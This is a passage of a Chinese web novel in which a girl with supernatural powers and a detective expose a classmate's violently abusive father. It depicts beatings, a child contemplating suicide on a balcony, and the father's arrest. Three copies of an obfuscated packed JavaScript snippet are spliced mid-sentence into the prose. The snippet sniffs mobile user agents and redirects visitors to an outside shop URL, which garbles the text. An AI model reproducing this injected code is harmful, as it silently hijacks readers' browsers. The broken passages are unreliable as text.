近日,我校保安人员孙某某涉嫌违法犯罪一事引发广泛关注。学校高度重视,第一时间配合警方调查,并立即采取以下措施: 1.涉事保安孙某某已立即解聘,并终止与相关安保公司合作; 2.封存全部监控录像及值班记录,对全体安保人员进行背景审查,确保无安全隐患; 3.开展全校安全教育,提升全体师生的安全意识和自我保护能力; 4.增设24小时校园安全专线:XXX-XXXXXXX。 我校始终将学生安全置于首位,对任何危害学生行为零容忍。欢迎社会各界监督指正。 阳光小学 2020年10月13日 20.家暴 “遇到可疑情况要立即报告老师,绝对不能单独跟任何人去隐蔽场所!” 自从那起事件后,被教育局点名批评的校方如临大敌,当即全面升级了校园安保系统,对全校进行了一次隐患大排查。 校领导们更是三天两头地强调安全纪律,不仅专门召开家长会向全体家长说明情况,一个月内还开了三次全校安全教育大会,就怕孩子们再被坏人们坑蒙拐骗。 与此同时,校方特别关注两位学生的心理情况,让班主任时刻关注着两个孩子的情绪变化,还特意安排了心理咨询师为她们进行疏导。 可出乎意料的是,林美美和薛宓似乎完全没被那件事影响。她们依旧一起跳皮筋、分零食,偶尔还会因为一些小事而斗嘴,转眼又和好如初。 ——就像普通的小学生一样。 唯一让负责心理咨询的王老师担心的是,林美美画出来的涂鸦,渐渐变得明媚而灿烂。湛蓝的天空、嫩绿的草地、穿着彩虹裙子的女孩……每一张都洋溢着童真的快乐。 而薛宓的画却始终只有一种颜色。 红色。 鲜红的太阳,鲜红的花朵,鲜红的小房子……连画里的人物,都涂着鲜红的笑脸。 她关心地问:“薛宓,这里有很多好看的颜色,为什么每次画画都只用红色呀?” 虽然不是绝对,但心理学上,红色常与愤怒、危险或强烈情绪相关。 这孩子刚经历过那样的事,或许在用这种方式宣泄?可看她平日与同学相处,又完全看不出异样。 就见小姑娘歪着头,朝着她甜甜一笑:“因为红色最漂亮呀~” “那……要不要试试用蓝色画天空,绿色画小草?”她试探着递出新蜡笔。 “老师不是让我画自己想画的吗?为什么一定要蓝色画天空,绿色画小草?” “啊对……” 王老师将这件事告诉班主任后,李秋华便忧心忡忡地联系了贺黎筠。 自那件事后,为了安抚薛宓并维持合作关系,贺黎筠每周都会投喂她一个重罪犯。 没有案件时,就开车带她兜风,总能有蠢蠢欲动的犯罪预备役会自己撞上枪口。 但贺黎筠并不想薛宓恢复得太快,所以投喂三次后,他开始故意拖延…… 可最近,他发现,薛宓并没有像以前一样催他,她就像是突然对“狩猎”失去了兴趣,整个周末都和同学练习团体跳绳和4x400米接力跑,据说是备战校运会,还报了两个单人项目——50米和立定跳远。 这件事,还是他妈妈从林美美的外婆口中得知的,随后便是上周期中考试后的家长会。 ——薛宓竟被留在了学校! 本来忧心忡忡薛宓在学校里搞事情,结果老师在全班家长面前点名表扬她考了全班第一,夸她是全班唯一一个报了个人和团体多个体育项目的学生,简直是德智体美全面发展。 就连现在,班主任打电话时,还忍不住又夸了一遍:“现在林美美在她的帮助下,成绩提升了十几名,性格也开朗多了。只是……” 电话那端的声音顿了顿:“薛宓这孩子接连遭遇意外,表面看着没事,但我总怕她把情绪都憋在心里。贺警官平时有空的话,还请您多陪陪她。如果她在家里有任何情绪或行为上的异常,也请您随时联系我。” 贺黎筠:“薛宓在家也和平常一样,还经常说上学很开心,老师们都对她很好。谢谢李老师关心,我会多留意她的状态。” 开朗就好,他其实挺怕林美美被薛宓带坏的。 “薛宓觉得上学开心就好!”电话那头的声音突然轻快起来,笑盈盈道,“校运会在11月20日下周五举行,薛宓这次报了好几个项目,看得出她特别期待。贺警官如果有时间的话,欢迎来给孩子加油呀。” “……好。” 与此同时教室里,薛宓和林美美刚做完心理咨询回来,就见班级里闹成了一团。 见薛宓回来,曹长胜像是找到了主心骨,生气地指着角落里低着头的男生:“薛宓!李然伟突然说要退出团体跳绳!下周就是校运会了,他怎么能这样!” 薛宓抬眼望去,就见李然伟低着头坐在椅子上,校服领口歪歪地敞着,隐约露出锁骨处的一道红痕,而他的右手手腕上也有一道新鲜的淤青,在袖口下若隐若现。 “我给你们找个人参加。”他声音轻轻的。见薛宓望着自己的手,下意识地将袖子往下拉了拉。 “我们都练习一个月了。你自己天天参加魔方比赛,难道不知道练习的重要性吗?而且你是最关键的摇绳手,现在临时换人,我们怎么磨合?!怎么会有你这么不负责任的人!” “我本来就没想参加,是你们当初缺人硬拉我进来的……”李然伟死死攥着衣角,声音沙哑。 “好了。”薛宓突然出声,目光落在李然伟不自然弯曲的手腕上,“他应该是手受伤了,不能摇绳,不是故意爽约的。” “你受伤了?”曹长胜一愣。却见李然伟躲躲闪闪,他一把拽过他的手臂,掀开校服袖子。 只见青紫交加的淤痕从李然伟的手腕一直蔓延到手肘,在白皙的皮肤上触目惊心。他倒吸了一口凉气:“你怎么伤得这么重?你……你为什么不早说?” 李然伟猛地抽回手臂,声音低得几乎听不见:“昨天……不小心从椅子上摔了下来……觉得有些丢人,所以没说。” 曹长胜张了张嘴,脸上的愤怒早已被懊悔取代:“对不起……” “没事。”李然伟别过脸去,声音闷闷的,“是我临时爽约不对……我会找班上其他同学替我的……” 曹长胜不好意思地挠挠头:“那个……周六的庆州公开赛,你的手受伤了会不会有影响啊……” “我会……尽全力拿第一的。” 他的声音很轻,像是说给自己听的。 然而—— “恭喜我们李然伟同学,在庆州公开赛上拿到了第二名的好成绩!” ——啪、啪、啪。 同学们的掌声像潮水般涌来,可他的耳中却回荡着另一种声音。 “废物东西,这么简单的事都做不好!” 记忆中的酒气仿佛又喷在了脸上,李然伟却低着头,盯着地板上的裂缝,一动都不敢动。 “啪!” 耳朵嗡嗡作响,左脸火辣辣地烧起来。 他没躲,也不敢躲。躲了会更疼。 “老子花钱送你去比赛,你就拿个第二回来?” 手指狠狠地戳在他的脑门上,一下,又一下…… 不能哭。哭了会更惨。 为什么不是第一?为什么不是第一? 奖状掉在地上,被鞋底碾过。李然伟盯着那道脏兮兮的脚印,喉咙发紧。 明明……只差0.3秒啊…… “说话啊!哑巴了?!” “李然伟你好厉害呀,又得奖了~” 讲台下的同学们笑盈盈地看着他,可那些面孔却逐渐模糊,取而代之的是父亲昨晚狰狞的脸。 “滚去跪着!今晚别想吃饭!” “李然伟?”班主任疑惑的声音将他拉回现实,“身体不舒服吗?怎么脸色这么白?” 他猛地回过神,慌忙挤出一个笑:“没、没事,谢谢老师。” “哎,要不是你手臂受伤影响了发挥,说不定就能得第一名了。” 曹长胜可惜地长叹,拍了拍李然伟的肩膀。周围的同学立刻围了上来,七嘴八舌地安慰道:“第二名超厉害了好吗!那可是庆州公开赛!和第一名只差0.3秒呢!” “0.3秒的差距,运气问题啦!下次肯定能赢回来!” 七嘴八舌的夸奖像阳光下的肥皂泡,轻飘飘地浮在空气里。 可是,没有人知道…… 李然伟低着头,嘴角勉强扯出一个笑。 第二名对他来说,意味着什么。 短暂的夸奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556872|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,大家都各自散去,课间又恢复了欢乐的吵闹声。就像肥皂泡,时间一久,便无声无息地破了一样……没有人在意。 没有人会注意到。 所有人都只在乎,他是不是得奖了,他得了第几名。 “李然伟,你怎么左手臂也有伤了?” 袖子突然被一拉,李然伟猛地缩回手,就见薛宓不知何时站在他桌前。他仓皇地把袖子往下拽,结结巴巴道:“摔、摔的……” “又摔了?”薛宓歪着头,认真地问,“李然伟,你身上的伤真的是摔出来的吗?” 沉默像一堵看不见的墙,横亘在两人之间。 李然伟睫毛轻垂,喉咙发紧。 ——他曾经无数次幻想过这一刻。 幻想有人能看穿他拙劣的谎言,幻想有人能拉住他的手腕说“别怕”,幻想有人能将他从挨打的地狱中拯救出来…… 可当这一刻真的来临,他却像被掐住喉咙的鸟,发不出声音。 “爸爸打的。”他终于挤出几个字,声音轻得几乎被教室的喧闹淹没。 因为他知道,就算说出来了,也不会有人来救自己…… “最近在家里练习魔方……记录不是很好……” 他况似轻松地苦笑了一下,目光却是一眨不眨地盯着薛宓。如果她露出很正常的表情,他就会立刻改口说“开玩笑的”。 但她却说:“所以就打你了?不能打回去?” 李然伟瞪大眼睛,像是听到了什么大逆不道的话:“怎么能……打爸爸……” “那爸爸怎么就能打孩子了?”薛宓掰着手指头数,“陌生人打儿童要坐牢,老师打学生要开除,爸爸打孩子就可以了?好奇怪呢。” 李然伟的嘴唇颤抖起来。 “你妈妈呢?就看着你挨打?” “妈妈……”他的指甲掐进掌心,“三年前,被爸爸用烟灰缸砸破额头后……离婚了……” “妈妈不带你走吗?” “我判给了爸爸,爸爸说妈妈不要我了……” 空气凝固了一瞬。 薛宓突然站起来,拽住他的手腕:“走,去找李老师。” “为什么……”他站在原地不动,却被薛宓从座位上直接拉了起来。 “你想一辈子被爸爸暴力殴打?”她瞪着他,声音压得很低,却字字清晰,“不想的话,就把这件事告诉老师。学校不是有校园安全专线吗?” 教室里嘈杂的打闹声忽然变得很远。李然伟感觉自己的心跳声大得吓人,耳膜嗡嗡作响。 “告诉老师有什么用?”他想这么说。 “以前妈妈报过警,结果爸爸打得更凶了。”他应该甩开她的手。 “反正……忍到高中就能住校了……”他早就这样说服自己无数次。 但薛宓的手指紧紧扣着他的手腕,温度灼热。让他想起三年前,妈妈临走时也是这样抓着他的手,但最后还是松开了…… “……好。” 办公室里,李秋华气得全身颤抖。 她教书十年,从没想过自己班上竟会出这种事! 那个总是安静做题的李然伟,那个在魔方比赛中为校争光的孩子,那个被她多次在班会上表扬的学生……每一次掌声背后,竟都是淤青和眼泪! “李老师,什么叫作我打孩子?”电话那头的男声带着浓重的烟酒气,语调却出奇地理直气壮,“爸爸教育孩子不是天经地义的事情吗?小孩子不打不成器啊!” 李秋华深吸一口气,尽量让自己的语气平静一些,但还是好生气啊! 她压抑着怒火,冷冷开口:“李先生,体罚和虐待是两回事。如果您继续这样对待李然伟,学校会向公安机关……” “行了!李老师,我很忙,我的家事不劳费心!” 李秋华气炸了,当即报了警。 而这次,民警拨打电话了解情况时,李然伟父亲的态度立刻一百八十度大旋转。 21.救赎 在两位民警的陪同下,警车护送着李秋华和李然伟停在了李家楼下。 “警察同志,误会!都是误会!”李然伟的父亲李国栋搓着手,脸上堆满笑容,腰弯得极低,“我就是一时手重,教育孩子嘛……以后一定注意!” “李老师对不住,刚刚因为太忙,所以态度有些不耐烦……” 他西装笔挺,领带端正,皮鞋擦得锃亮,与电话里那个暴怒的男人判若两人。 李然伟父子是四年前刚搬过来的。 民警皱着眉查阅记录,发现这四年间,他们片区是第一次收到有关于他虐待儿童的报警记录。 他眉头越蹙越紧:“有家暴史吗?” “没有没有!”李国栋连连摆手,“我这人就是脾气急,但绝对没下次了!” 说着,就抱住孩子哽咽道:“是爸爸对不起你,是爸爸错了,爸爸以后不会再打你了……” 仔细看了一番孩子身上的淤青,发现连轻微伤的标准都够不上……孩子又只有爸爸一个人照顾,拘留孩子的爸爸显然是不可能的。 民警将一张家暴告诫书递了过去:“第一次先批评教育。如果再犯,构成轻微伤,将处十到十五日拘留和罚款;构成轻伤及以上,立即刑事立案。” “好的好的。警察同志放心。”李国栋爽快地签了字。 “李然伟,有事再联系老师,拜拜。” 被老师温柔地摸了摸头,李然伟望着父亲低头陪笑的样子,心脏突然跳得很快——爸爸道歉了…… 醉醺醺的父亲揪着妈妈的头发往墙上撞,妈妈哭着求饶,他都始终没有停下……哪怕,那次离婚争吵,他用烟灰缸砸破了妈妈的头,他也从来没有对妈妈道过一次歉…… 可这次,爸爸道歉了。 是不是代表……他会变? 然而,民警刚走,门一关上,一个巴掌就呼了上了。 “混账东西,敢告诉老师!还敢报警!” 李然伟甚至没来得及反应,整个人就被扇得撞在墙上。后脑勺“咚”地一声闷响,眼前瞬间发黑。 “胆子肥了啊!竟然想报警抓老子!” 怒吼声混着唾沫喷在脸上,李然伟惊恐地缩在墙角,目光却有些失焦地望着那张被丢在地上的告诫书,和那只青筋暴起却再次扬起的手掌。 明明……刚才道歉了啊…… 明明……签了字的…… “啪!” “你以为报警有用?老子坐牢了,谁他妈管你?!” “你妈早不要你了!你妈跟野男人跑了,就是因为生了你这么个赔钱货!” “你报警啊!再报啊!看谁信你这个小杂种!” “滚去阳台罚站!” 衣领被粗暴地揪起,膝盖重重地磕在地板上。昨晚摔的淤青再一次被撕开,钻心的疼痛令他闷哼一声,整个人又一次被丢进了阳台。 疼。 好疼…… 阳台门“砰”地锁死。 李然伟虚弱地抬头。 隔着磨砂玻璃,就见父亲的身影扭曲成一道狰狞的黑影,对着他怒气冲冲地吼道:“今晚别想吃饭!” 十一月底的风像千万根钢针,瞬间扎透他单薄的校服。 他努力将自己蜷缩在门旁,寒气却依旧顺着脚底往上爬。小腿开始不受控制地发抖,他扒着门缝哀求:“爸爸我错了……我不报警了……爸爸,我冷……” “哭,哭什么哭!知道错,就安静点!” 回应他的是电视机骤然调大的音量。 冷。 太冷了。 手指无措地缩在背后取暖,却突然触到一块坚硬的物体。他颤抖着拿出,发现是昨晚那枚被父亲暴怒摔碎的魔方。 棱角分明的塑料碎片刺进掌心,六个面的色块永远无法再对齐了。 就像他的人生…… 他颤抖着站了起来。 手指抓住生锈的铁栏杆,冻僵的皮肤立刻黏在金属上。 ——刺痛。 他低头看去,五楼的高度让他胃部痉挛。 往日因为害怕,他根本不敢站得那么近。可现在,路灯像漂浮的鬼火,在寒风中明灭不定,晾衣杆在风里吱呀摇晃,仿佛在无声地邀请他跨过这道矮栏杆。 ——松手吧。 ——跳下去就暖和了。 是的,跳下去就自由了。 跳下去就再也不会被爸爸打了。不会疼,不会冷,不会再哭了…… 泪水模糊了视线,他闭上眼睛,慢慢踮起脚尖。 夜风呼啸着灌进他的校服,身体像片枯叶般微微前倾。 “李然伟!” 突然。 清脆的童声刺破寒风。 他猛地睁开眼,泪水被风吹散。 “你什么时候给我们找到摇绳的同学啊?” 一抹跳动的红色撞进了视野。 楼下的路灯旁,穿着校服的薛宓正挥舞着双手。暖黄的路灯笼罩着她,红色的围巾在风里翻飞,像黑夜中突然燃起的火把。 李然伟愣住了。 他哆哆嗦嗦地收回手,哑着嗓子喊:“我……我明天一定找到。” 是的,他答应了同学。 还没有做到,他还不能爽约…… 他还不能……死。 等明天找到人后,再…… 怕正在看电视的父亲听到薛宓的声音,他连忙挥挥手道:“你、你快回去吧……” “那你看一看衣服口袋。” 薛宓的声音随着风,再一次清晰地传来。 李然伟摸向口袋。 手指触到了一个冰冷的金属物体,竟是一支小型的录音笔。 红灯微弱地闪烁着,显示仍在工作中。 就在这一瞬间—— 大门被重重地一把推开,三名警察带着房东冲了进来。 李国栋正瘫在沙发上,电视声音开得震天响。直到警察冲到面前,他才猛地回过神,脸色煞白地挣扎着:“警察凭什么擅闯民宅、乱抓人!!!你、你们这是违法!你们警号我都记下了!我要投诉!!!” 然而,下一秒,他乱挥舞的双手,就被手铐“咔嗒”锁住。 “不许动!”随着两名刑警一同而来的民警冷声道,“家暴告诫书签署后再次实施家庭暴力,现依法对你采取刑事强制措施!” 与此同时,一名警察一个箭步冲向阳台,猛地拉开了那扇朦胧的磨砂玻璃门。 “警察来了,别怕。” 李然伟呆立在寒风中,认出了对方,是那个以前来接过薛宓的刑警叔叔。 他僵硬地转头,望向楼下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562398|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>薛宓还站在路灯下,红色的围巾像团小小的火焰,在夜色中格外醒目。 他喉咙发紧,手指无意识地攥紧了录音笔。 被警察护送着上警车时,李然伟看见薛宓已经等在了车里。 上次保安事件后,他偶然听到她和林美美的对话,才知道她哥哥竟是一名刑警。这种爸爸打儿子的小事,没想到她哥哥也会过来…… 见她对自己眨了眨眼,他忍不住哽咽地问:“薛宓……你是特意找你哥哥来的吗?” 开车的贺黎筠闻言,透过后视镜瞥了一眼,就见薛宓笑眯眯道:“你向我求救了呀,那我自然要回应你。” 李然伟一怔。 他有吗…… 明明是她坚持要告诉老师的……他根本没提过让她找哥哥…… 李然伟晕晕乎乎的,就见一只小手递来一张纸巾:“你流鼻血了……” 他捂着鼻子抬头,就见她突然凑得很近,那双深棕色的瞳孔里倒映着他狼狈的样子,她却皱了皱眉:“是不是很疼啊?” “疼……”他捏着纸巾,低下头。 “我也想快点的,但录到点证据比较重要。”薛宓小声嘟囔,“这会是你最后一次挨打了。” 止血的时候,李然伟突然控制不住哭了起来。 薛宓慌乱:“你别哭啊……好吧,是警察速度太慢,太磨磨唧唧了……” 他哽咽着摇头:“想妈妈了。” “我已经三年没见到妈妈了……以后我没有爸爸,也没有妈妈了……” “不会。”贺黎筠突然插嘴道,“李老师报警时,我们就联系上你妈妈了。你妈妈一直找你,她现在,在赶过来中。” 李然伟猛地抬头。 车窗外,警局的灯光越来越近。远远的,他竟真的看见妈妈站在了门口,不断张望着进来的车辆。 妈妈没有丢下自己!妈妈没有不要他!爸爸骗了他!!! “妈、妈……” 车门打开的瞬间,他像颗子弹般飞奔了过去。 “然伟……”瘦弱的女子哭着张开双臂。 “妈……妈……呜呜呜呜呜……” 三年的思念、委屈和痛苦,全都化成了嚎啕大哭。他死死抱住母亲,像溺水的人抓住浮木,生怕一松手就会再次失去。 李母周文娟同样哭得不能自已,颤抖的手一遍遍抚摸着他脸上的伤痕:“对不起,对不起……是妈妈来晚了……对不起……” 审讯室里。 “什么家暴!小孩子不听话,打两下怎么了?哪个当爹的不打孩子?!” 即使被按在审讯椅上,李国栋还在强词夺理。 尤其是看到周文娟竟搂着儿子出现,他布满血丝的眼睛瞬间凶狠地瞪了过去:“你还有脸来?当初是谁扔下孩子跑的?!现在竟怂恿儿子抓老子!” 孩子脸上的淤青让周文娟心如刀绞,曾经的恐惧在这一刻瞬间化为熊熊的怒火。 “这是打两下吗?!”她颤抖着掀起儿子的校服袖口,露出遍布手臂的紫红色伤痕,“你看看把孩子打成什么样了!” 她愤怒地咒骂着:“我当初瞎了眼才会嫁给你这种人渣!我真的信了你鬼话,当初就应该强硬点,直接带孩子走!” “放屁!” 警察连忙按住要跳起来的李国栋。 22.轮回 李国栋和周文娟是通过婚介所的相亲相识的。 那时,周文娟已经30岁了。她长相普通,收入平平,在相亲市场上本就不占优势。 初次见面时,李国栋还是个餐馆小老板。他穿着笔挺的西装,谈吐得体,还主动给她夹菜倒水——这在她的相亲经历里,已经算是难得的体贴了。 于是,认识短短两个月后,她就这么稀里糊涂地嫁了。 婚后不久,周文娟就怀了孕。原以为平平淡淡的生活是福,没想到所谓的甜蜜很快就变了质。 那段时间她因孕吐难受,让李国栋把手机视频声音调小些。李国栋的态度十分不耐烦,觉得她就是矫情,两人因此吵了起来。没想到,紧接着……竟是一记响亮的耳光。 第一次家暴。 仅仅一个巴掌,她哭着回了娘家,却在看到跪在门口痛哭流涕的李国栋时心软了。 所有人都在劝她。 她想到了肚子里已经五个月大的孩子,听着他跪下发的毒誓,最终还是原谅了他。 但男人是会伪装的。 他伪装成体贴的丈夫,直到孩子呱呱坠地; 他伪装成慈爱的父亲,直到第一次为奶粉品牌争吵时,巴掌落在她脸上。 家暴从来只有零次…… 和无数次。 他们几乎天天争吵,从生活习惯到育儿理念,任何小事都能成为导火索。而李国栋的暴力也愈演愈烈,最初只是推搡,后来变成拳脚相加。 周文娟本想着,打在自己身上的拳头忍忍也就罢了。可四年前,李国栋竟因为孩子不听话打了儿子一巴掌! 她扑上去阻拦,却被李国栋反手一记耳光扇得当场晕倒在地。直到孩子哭嚎着喊她名字,她才又清醒了过来。 她觉得自己不能再忍让了,当即报了警。 最初李国栋躲在屋里不肯露面,随后又狡辩他脸上也有她的抓伤,他们属于斗殴。 斗殴?太可笑了。 而警察看了两人的伤后,竟说这起事件属于家庭纠纷,建议他们自行解决,随后便离开了…… 周文娟永远记得警察离开时,李国栋嘴角的笑容,第一次感受到彻骨的绝望。 第二天,她还是强撑着去派出所做完笔录,坚持声称这不是“斗殴”,是“家暴”。可所谓的报警,却再也没有了下文…… 她带着儿子,躲回了娘家。然而回去的第三天就接到李国栋的母亲怒气冲冲的电话:“夫妻吵架不是很正常吗?动不动报警,至于吗?还带孩子回娘家,传出去让人笑话!” 他父亲更是说出可笑至极的话:“别人家老婆挨打都不吭声,怎么就你矫情?” 这一刻,她的父母才知道,她这些年竟一直活在丈夫的暴力阴影之下。父亲气得浑身发抖,抄起铁锹就要去找李国栋算账,却被她死死拦住。 她太了解那个男人了。 真的打起来,只会徒增伤亡,还会被定性为“互殴”。 而她,曾经想让孩子有个完整的家,才处处忍让。可现在,只想离婚——她可以什么都不要,但必须带走孩子。 然而,关于离婚协议上孩子的抚养权,两人又进行了一次激烈的争吵,这一次李国栋竟拿烟灰缸砸了她的头! “砰!” 玻璃碎片混着鲜血飞溅。 她强忍眩晕报警逃命,而李国栋只被行政拘留了十天。 拘留结束当天,他的电话就追了过来:“想离婚?孩子留下。敢带走他,这婚就别想离。” 周文娟咬牙说要走法律程序,却没想到李国栋的手段更狠—— 藏匿孩子。死亡威胁。 “敢抢孩子,我杀你全家!” 新闻里那些离婚杀妻案的报道让她夜不能寐。而起诉离婚又不知道要耗上自己多少年,最终,她颤抖着签下了放弃抚养权的协议。 此后三年,她像游魂般活着。每次联系都被拒,后来连电话都成了空号。私家侦探找到他们的新住址时,李国栋在电话里冷笑:“孩子现在过得很好,全年级前十。” 他还发了孩子站在魔方比赛的领奖台上的照片,在电话里得意洋洋:“孩子跟着我过得很好,你别来打扰。他说最讨厌你这个抛下他的妈妈。” 那段“讨厌妈妈”的录音,成了她心里最深的刺。 直到今天—— 直到警察打来电话。 直到亲耳听见儿子说“从来没有讨厌过妈妈”。 她才知道,所谓的“讨厌妈妈”的录音竟是诱导和剪辑而成的! 周文娟气得发抖。 当即冲了上前,在警察阻拦前狠狠扇了李国栋一耳光。 “啪!” 清脆的巴掌声在调解室回荡,李国栋的脸被打得偏过去,脸上瞬间浮起鲜红的指印。 “她打人了!”李国栋暴跳如雷,面目狰狞地指着周文娟,“她家暴!不,我们现在已经离婚了,她是故意伤人!警察同志,你们看到了吧?把她也抓起来!” 然而—— 审讯室里的两名警察只是低头整理文件,像是完全没看见这一幕。 贺黎筠甚至慢条斯理地喝了口茶,淡淡道:“李国栋,你刚才不是说‘打两下怎么了’吗?” 李国栋被这句话噎得脸色铁青,而周文娟的胸口剧烈起伏着。 她的手掌火辣辣地疼,但心里却涌起一股前所未有的痛快,仿佛这么多年的委屈和愤怒在这一刻终于找到了宣泄的出口。 “警官,我犯罪我认罚。” 贺黎筠却摇头道:“受害人因长期遭受家庭暴力,在对质过程中情绪失控的,不予处罚。你带孩子先回去吧,后面交给我们。” 周文娟的指尖微微发抖。 这么多年,她早已对警察失望透顶。 她查过太多案例——警察调解、和稀泥、最后不了了之,甚至各个杀妻案的新闻让她早已对“求助”二字心如死灰。 可这一刻,贺黎筠平静的声音却像黑暗中的灯塔,让她有了一种从未有过的安全感。 她攒紧儿子的手。 或许这次……真的能…… 贺黎筠抬头看向仍然十分不满的李国栋,道:“不止是打两下而已。这是昨天你家的录音。打骂、禁闭、冻饿,都属于虐待罪。” 没想到竟还有证据,李国栋的脸色由红转白,额头渗出冷汗:“我、我是他亲爹……” “亲爹更应该保护孩子,而不是伤害。”贺黎筠冷冷道,“同时,我们也已找到多名目击证人。庆州魔方比赛现场,你因孩子获得第二名就当场施暴。再加上现场目击证人的证词,证据链已经完整。” “李国栋,你涉嫌长期对未成年人实施家庭暴力行为,现依法对你执行刑事拘留。” “你可以联系律师,但记住,即使未来出狱,也不得再以任何方式接近、骚扰或威胁周文娟和李然伟,我们已为他们申请人身安全保护令。” “再敢靠近他们一步,等待你的只有更重的刑事处罚。” “现在,签字确认。自首,还能减轻一些。” 签完字,李国栋整个人像被抽干了力气,瘫软在审讯椅上,如同一滩腐坏的烂泥。 贺黎筠冷漠地看了他一眼,拿起案卷就离开了审讯室。 案子是薛宓发现的,李然伟身上的黑雾也已被她吞噬殆尽。如今证据确凿,嫌疑人认罪伏法,按理说,事情该到此为止了。 谁知,他来到观察室,却见看完全程的薛宓,嘴角微翘地说:“可现在,他身上冒出了黑雾啊。” 贺黎筠一惊。 被捕之前,李国栋身上是没有黑雾的。 黑雾,是恶念的具象化。但如果犯罪者本人不觉得这是恶念,他的灵魂就不会散发任何黑雾。 就像他之前无数次狡辩的那样,他真心地、理直气壮地认定,爸爸教育孩子是件天经地义的事情。 而最初,薛宓是在李然伟身上发现丝丝缕缕的黑气,一直以为是这孩子自己心里藏着什么阴暗的念头。所以,她观察了好几天,还特意主动邀请他加入跳绳队。 但李然伟的眼神很干净。始终干净得像一泓清水,没有半点恶意。 于是她告诉了贺黎筠。 贺黎筠调查后发现,李然伟的父亲李国栋曾因家暴被拘留过十天,妻子也因此和他离婚。 他几乎是立刻把嫌疑人锁定在了李国栋的身上,可奇怪的是,薛宓在家长会上见到李国栋时,他身上竟没有一丝黑雾。 线索便在这里中断了。 直到李然伟身上的黑丝渐渐浓稠,最终化作翻涌的黑雾。 薛宓才终于明白——那些黑丝,不是伤害别人的恶念,而是伤害自己的。 随着他身上的淤青越来越多,心里的绝望越来越深,他渐渐产生了轻生的恶念——他想杀了自己。 而现在,李国栋被捕,李然伟不再恐惧,黑雾也被薛宓吞噬殆尽…… 本该结束的。 可李国栋身上,却突然冒出了黑雾。 要么,他终于意识到自己的暴行是错的,曾经的恶念因此具象化。 要么,他正在酝酿新的恶念。 薛宓眯起眼睛,嗓音轻快:“我要去见见他。” 薛宓是绝对不会看错的。贺黎筠面色凝重,点了点头。 由于厕所已经成了传说,而得知薛宓不会被监控拍到后,贺黎筠干脆直接让她进了审讯室。 他想起上次的“意外”,皱眉警告:“别太过火。” 薛宓翻了个白眼。 审讯室的门无声地开合。 “哒——哒——” 李国栋恍惚抬头,发现对面不知何时坐了个陌生的小女孩。她穿着红色连衣裙,脚上是一双漆皮小皮鞋,正轻轻地,一下一下地踢着审讯桌的金属腿。 “李国栋。”她突然叫了他的名字,李国栋就见对面的小女孩歪着头,瞳孔突然浸满了血色。 “现在,让我看看……你新长出的恶念,是什么味道的?” 不知过了多久,李国栋猛地惊醒,发现自己竟独自一人坐在空荡荡的审讯室里。 手铐松了,门还没锁。 ——机会! 他跌跌撞撞冲出门,走廊尽头,他看到了周文娟和李然伟的背影。 “臭婊子!敢报警!老子说过——敢抢孩子,就杀你全家!” 他掏出口袋里的水果刀,虽然他也不知道自己的口袋里为什么会有刀,但愤怒支配理智,他还是疯了一般扑上去,对准周文娟的后心狠狠捅下…… “啪!” 后脑勺突然传来剧痛,他踉跄回头,迎面一个皮带扇得他眼冒金星。 “废物!连这种题都做错!” ——是父亲。 站在课桌旁的父亲,满脸狰狞,手里攥着皮带,就像他记忆里无数次那样,高高举起,狠狠抽下。 薛宓歪着头,饶有兴致地欣赏着李国栋在幻境中扭曲又恐惧的脸。 她好奇他心底最真实的想法,便施了一个幻境激发出他压抑在心底的恶意。 暴躁、愤怒、仇恨…… 他的表情像一面破碎的镜子,映照出灵魂深处最肮脏的恶意。 她轻轻打了个响指,幻境骤然加深。 “臭婊子!敢报警!老子说过——敢抢孩子,就杀你全家!” 他嘶吼着掏出刀,狠狠地捅向他恶意的源头——他的前妻。 在他的逻辑里,他沦落至此,全是因为她报警、离婚、夺走了他的“尊严”。所以,他要在幻境里杀了她。 薛宓的能力,向来是让恶念具现化,再原封不动地反噬回去。 但这一次,她看到了更有趣的东西—— “啪!” 皮带抽在身上火辣辣得疼,李国栋跪倒在地,痛哭流涕地求饶:“爸爸,我错了……” 他下意识抱头蜷缩,却在抬眼的瞬间,看到父亲狰狞的脸,正一点点扭曲成他自己的模样。 而角落里,同样蜷缩着一个小小的人影,痛哭流涕地喊着:“爸爸,我错了……” ——原来,他早已成了自己最恨的那个人。 和前两个猎物不同,李国栋的恶念并非源于他本身,而是深深刻在他骨髓里的、属于他父亲的逻辑。 “打你是为你好。” “老子管教儿子,天经地义!” 每一句咆哮,每一次皮带抽下的疼痛,都在他灵魂里烙下同样的烙印。 只不过,他的母亲是沉默的帮凶,造就了李国栋同样的暴力,而李然伟的母亲,却选择带着孩子逃离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574296|185545||http|test|mini|href|location''.split(''|''),0,{})); () { 